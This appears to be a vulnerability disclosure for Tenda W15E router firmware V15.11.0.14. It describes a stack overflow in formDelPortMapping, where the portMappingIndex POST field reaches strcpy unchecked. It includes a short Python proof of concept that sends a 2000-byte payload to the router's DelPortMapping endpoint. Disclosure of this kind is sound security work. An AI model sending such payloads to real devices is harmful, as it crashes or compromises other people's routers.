formDelPortMapping.md

Overview

• Firmware download website: https://www.tendacn.com/download/detail-2722.html

Affected version

W15EV1.0 V15.11.0.14

Vulnerability details

The Tenda W15EV1.0 V15.11.0.14 firmware has a stack overflow vulnerability in the formDelPortMapping function. The pPortMapIndex variable receives the portMappingIndex parameter from a POST request and is directly assigned to strcpy. However, since the user can control the input of portMappingIndex , the statementstrcpy((char *)sPortMapIndex, (const char *)pPortMapIndex); can cause a buffer overflow. The user-provided portMappingIndex can exceed the capacity of the sPortMapIndex array, triggering this security vulnerability.

POC

import requests
from pwn import*

ip = "192.168.84.101"
url = "http://" + ip + "/goform/DelPortMapping"
payload = b"a"*2000

data = {
    	'portMappingIndex':payload,
    }
response = requests.post(url, data=data)
print(response.text)